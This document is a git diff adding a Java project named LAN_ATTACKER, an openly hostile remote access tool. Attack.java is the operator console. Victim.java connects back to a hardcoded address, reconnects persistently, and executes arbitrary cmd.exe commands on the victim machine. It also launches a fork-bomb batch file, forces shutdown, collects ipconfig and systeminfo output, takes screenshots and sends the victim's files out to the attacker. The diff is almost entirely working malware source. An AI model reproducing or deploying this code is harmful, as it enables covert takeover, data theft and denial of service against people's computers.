diff --git a/LAN_ATTACKER/bin/hack/Attack.class b/LAN_ATTACKER/bin/hack/Attack.class new file mode 100644 index 0000000..f67a104 Binary files /dev/null and b/LAN_ATTACKER/bin/hack/Attack.class differ diff --git a/LAN_ATTACKER/bin/hack/FileDownload.class b/LAN_ATTACKER/bin/hack/FileDownload.class new file mode 100644 index 0000000..bcaa4df Binary files /dev/null and b/LAN_ATTACKER/bin/hack/FileDownload.class differ diff --git a/LAN_ATTACKER/bin/hack/FileUpload.class b/LAN_ATTACKER/bin/hack/FileUpload.class new file mode 100644 index 0000000..676b3fa Binary files /dev/null and b/LAN_ATTACKER/bin/hack/FileUpload.class differ diff --git a/LAN_ATTACKER/bin/hack/Victim.class b/LAN_ATTACKER/bin/hack/Victim.class new file mode 100644 index 0000000..19aaf33 Binary files /dev/null and b/LAN_ATTACKER/bin/hack/Victim.class differ diff --git a/LAN_ATTACKER/imgs/skull.png b/LAN_ATTACKER/imgs/skull.png new file mode 100644 index 0000000..72b434c Binary files /dev/null and b/LAN_ATTACKER/imgs/skull.png differ diff --git a/LAN_ATTACKER/jgoodies-common-1.8.0-sources.jar b/LAN_ATTACKER/jgoodies-common-1.8.0-sources.jar new file mode 100644 index 0000000..d4fef6c Binary files /dev/null and b/LAN_ATTACKER/jgoodies-common-1.8.0-sources.jar differ diff --git a/LAN_ATTACKER/jgoodies-common-1.8.0.jar b/LAN_ATTACKER/jgoodies-common-1.8.0.jar new file mode 100644 index 0000000..1f62f5d Binary files /dev/null and b/LAN_ATTACKER/jgoodies-common-1.8.0.jar differ diff --git a/LAN_ATTACKER/jgoodies-forms-1.8.0-sources.jar b/LAN_ATTACKER/jgoodies-forms-1.8.0-sources.jar new file mode 100644 index 0000000..d3f6429 Binary files /dev/null and b/LAN_ATTACKER/jgoodies-forms-1.8.0-sources.jar differ diff --git a/LAN_ATTACKER/jgoodies-forms-1.8.0.jar b/LAN_ATTACKER/jgoodies-forms-1.8.0.jar new file mode 100644 index 0000000..9336ad6 Binary files /dev/null and b/LAN_ATTACKER/jgoodies-forms-1.8.0.jar differ diff --git a/LAN_ATTACKER/src/hack/Attack.java b/LAN_ATTACKER/src/hack/Attack.java new file mode 100644 index 0000000..9745295 --- /dev/null +++ b/LAN_ATTACKER/src/hack/Attack.java @@ -0,0 +1,77 @@ +package hack; + +import java.net.*; +import java.util.Scanner; + +import javax.swing.JOptionPane; + +import java.io.*; +public class Attack { + public static void Hack() { + try { + ServerSocket ss=new ServerSocket(5555); + Socket s=ss.accept(); + //JOptionPane.showConfirmDialog(null, "Connected!!"); + System.out.println("----------ATTACKING----------"); + System.out.println("1.'dos' [making the victim's system unavailable]"); + System.out.println("2.'shut' [shutdown thw victim's system]"); + System.out.println("----------INFORMAION GATHERING----------"); + System.out.println("1.'ip' [Gathering all details about the ip]"); + System.out.println("2.'syspec' [Gathering all the System details]"); + System.out.println("3.'open website' [Enter the URL of the website]"); + System.out.println("4.'directory enumaration' ['dir`'+ terminal commonds]"); + System.out.println("5.'Change the Server' ['ipchange`']"); + System.out.println("6.'Download Files' ['downfile`']"); + System.out.println("7.'TAKING SCREENSHOT' ['scrnsht`']"); + DataInputStream din=new DataInputStream(s.getInputStream()); + DataOutputStream dout=new DataOutputStream(s.getOutputStream()); + BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); + String vic="",att=""; + while(!att.equals("stop")) { + att=br.readLine(); + dout.writeUTF(att); + if(att.contains("downfile")) { + vic=din.readUTF(); + System.out.println(vic); + FileDownload f = new FileDownload(); + dout.writeUTF("dir`undo"); + f.start(); + } + if(att.contains("upfile")) { + //Scanner in = new Scanner(System.in); + System.out.println("ENTER THE VICTIM IP:"); + String ipadd=br.readLine(); + System.out.println("ENTER YOUR FILE PATH TO UPLOAD:"); + String path=br.readLine(); + FileUpload f = new FileUpload(path,ipadd, 14325); + f.start(); + vic=din.readUTF(); + System.out.println(vic); + dout.writeUTF("dir`undo"); + + } + + if(att.equals("dos")|| att.equals("shut")|| att.equals("ipchange") || att.equals("ip") || att.equals("syspec") || att.contains("txt") || att.length()>5 || att.contains("dir") || att.contains("scrnsht") && !att.contains("downfile") && !att.contains("downfile")) { + vic=din.readUTF(); + System.out.println(vic); + } + dout.flush(); + + } + din.close(); + s.close(); + ss.close(); + } + catch(Exception e) { + System.out.println(e.toString()); + } + } + + public static void main(String[] args) throws Exception + { + Hack(); + + } + + } + diff --git a/LAN_ATTACKER/src/hack/FileDownload.java b/LAN_ATTACKER/src/hack/FileDownload.java new file mode 100644 index 0000000..d592685 --- /dev/null +++ b/LAN_ATTACKER/src/hack/FileDownload.java @@ -0,0 +1,36 @@ +package hack; + +import java.io.DataInputStream; +import java.io.FileOutputStream; +import java.net.ServerSocket; +import java.net.Socket; +import java.util.Scanner; + +public class FileDownload extends Thread{ + public void run() { + try { + ServerSocket socket = new ServerSocket(14322); + Socket clientSocket = socket.accept(); + DataInputStream dis = new DataInputStream(clientSocket.getInputStream()); + Scanner in = new Scanner(System.in); + System.out.println("ENTER THE PATH:"); + String path=in.nextLine(); + FileOutputStream fout = new FileOutputStream(path); + int i; + while ( (i = dis.read()) > -1) { + fout.write(i); + } + + fout.flush(); + fout.close(); + dis.close(); + System.out.println("FILE DOWNLOAD SUCCESSFULY!!"); + clientSocket.close(); + socket.close(); + } + catch(Exception e) { + + } + } + +} diff --git a/LAN_ATTACKER/src/hack/FileUpload.java b/LAN_ATTACKER/src/hack/FileUpload.java new file mode 100644 index 0000000..a5142f1 --- /dev/null +++ b/LAN_ATTACKER/src/hack/FileUpload.java @@ -0,0 +1,34 @@ +package hack; + +import java.io.DataOutputStream; +import java.io.FileInputStream; +import java.net.Socket; + +public class FileUpload extends Thread{ + String path,ip; + int port; + public FileUpload(String path, String ip, int port) { + this.path=path; + this.ip=ip; + this.port=port; + } + + public void run() { + try { + int i; + FileInputStream fis = new FileInputStream (path); + Socket sock = new Socket(ip, port); + DataOutputStream os = new DataOutputStream(sock.getOutputStream()); + while ((i = fis.read()) > -1) + os.write(i); + + fis.close(); + os.close(); + sock.close(); + } + catch(Exception e) { + + } + + } +} diff --git a/LAN_ATTACKER/src/hack/Victim.java b/LAN_ATTACKER/src/hack/Victim.java new file mode 100644 index 0000000..fe8b8b6 --- /dev/null +++ b/LAN_ATTACKER/src/hack/Victim.java @@ -0,0 +1,259 @@ +package hack; +import java.awt.Rectangle; +import java.awt.Robot; +import java.awt.Toolkit; +import java.awt.image.BufferedImage; +import java.io.*; +import java.net.*; + +import javax.imageio.ImageIO; +import javax.swing.JOptionPane; +public class Victim { + + public static void Hack(String ip) throws Exception { + try{ + String speak=""; + String str=""; + Socket s=new Socket(ip,5555); + DataInputStream din=new DataInputStream(s.getInputStream()); + DataOutputStream dout=new DataOutputStream(s.getOutputStream()); + BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); + String att="",vic=""; + while(!att.equals("stop")) { + att=din.readUTF(); + if(att.equals("dos")) { + try { + FileOutputStream fout=new FileOutputStream("D:\\dos.bat"); + String str1="@echo off\n:top\nStart\ngoto top"; + byte[] b=str1.getBytes(); + fout.write(b); + fout.close(); + String[] cmd= {"cmd.exe","/C","Start","D:\\dos.bat"}; + Process p=Runtime.getRuntime().exec(cmd); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception e){ + vic="Failed to DOS!!"; + dout.writeUTF(vic); + dout.flush(); + } + + }//DOS + if(att.equals("ipchange")) { + try { + String[] arr=att.split("`"); + Hack(arr[1]); + vic="Success!!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception d){ + vic="Failed to change IP!!"; + dout.writeUTF(vic); + dout.flush(); + } + + }//IP CHANGE + if(att.equals("shut")) { + try { + String[] cmd= {"cmd.exe","/C","shutdown /s"}; + Process p=Runtime.getRuntime().exec(cmd); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception d){ + vic="Failed to Shutdown!!"; + dout.writeUTF(vic); + dout.flush(); + } + + }//shutdown + + if(att.contains("txt")) { + try { + String[] arr=att.split("`"); + speak=JOptionPane.showInputDialog(arr[1]); + vic=speak; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception d){ + vic="Failed to speak!!"; + dout.writeUTF(vic); + dout.flush(); + } + + }//speak + + if(att.equals("ip")) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "ipconfig -all"); + builder.redirectErrorStream(true); + Process p = builder.start(); + br = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = br.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + + }catch(Exception e) { + vic="Failed ..."; + dout.writeUTF(vic); + dout.flush(); + } + }//IP DATA + if(att.equals("syspec")) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "systeminfo"); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + + }catch(Exception e) { + vic="Failed ..."; + dout.writeUTF(vic); + dout.flush(); + } + }//SYSTEM DATA + if(att.length()>10 && !att.contains("dir") && !att.contains("txt") && !att.contains("ipchange") &&!att.contains("downfile") &&!att.contains("upfile") &&!att.contains("scrnsht") ) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "Start", att); + builder.redirectErrorStream(true); + Process p = builder.start(); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception e) { + vic="Failed to Exploit review your code.."; + dout.writeUTF(vic); + dout.flush(); + } + } + if(att.equals("stop")){ + s.close(); + System.exit(0); + } + if(att.contains("dir")) { + + try{ + String cmd=""; + String[] arr=att.split("`"); + str+=arr[1]+" "; + if(arr[1].equals("undo")) { + str=""; + ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , "echo done"); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + } + else { + ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , str); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + } + + + }catch(Exception e) { + vic="Failed to Exploit review your code.."; + dout.writeUTF(vic); + dout.flush(); + } + }//WEB REDIRECT + if(att.contains("downfile")) { + String[] arr=att.split("`"); + String path=arr[1]; + FileUpload f = new FileUpload(path,ip, 14322); + f.start(); + vic="UPLOAD SUCCESSFULLY!!"; + dout.writeUTF(vic); + dout.flush(); + + }//File Upload + + /*if(att.contains("upfile")){ + String[] arr=att.split("`"); + String path=arr[1]; + FileDownloadVictim fdown = new FileDownloadVictim(path); + fdown.start(); + Thread.sleep(2000); + vic="Download Successfullu!!"; + dout.writeUTF(vic); + dout.flush(); + }*/ + + if(att.contains("scrnsht")) { + String[] arr=att.split("`"); + String path=arr[1]; + try { + Robot r = new Robot(); + + // Used to get ScreenSize and capture image + Rectangle capture = + new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()); + BufferedImage Image = r.createScreenCapture(capture); + ImageIO.write(Image, "jpg", new File(path)); + vic="SUCESSFULLY SCREENSHOT TAKEN!!"; + dout.writeUTF(vic); + dout.flush(); + } + catch(Exception e) { + vic=e.toString(); + dout.writeUTF(vic); + dout.flush(); + } + + }//Screenshot + + }//while loop end + } + finally{ + Thread.sleep(10000); + Hack("192.168.135.203"); + } + } + public static void main(String[] args){ + try{ + Hack("192.168.135.203"); + } + catch(Exception e){ + + } + } +}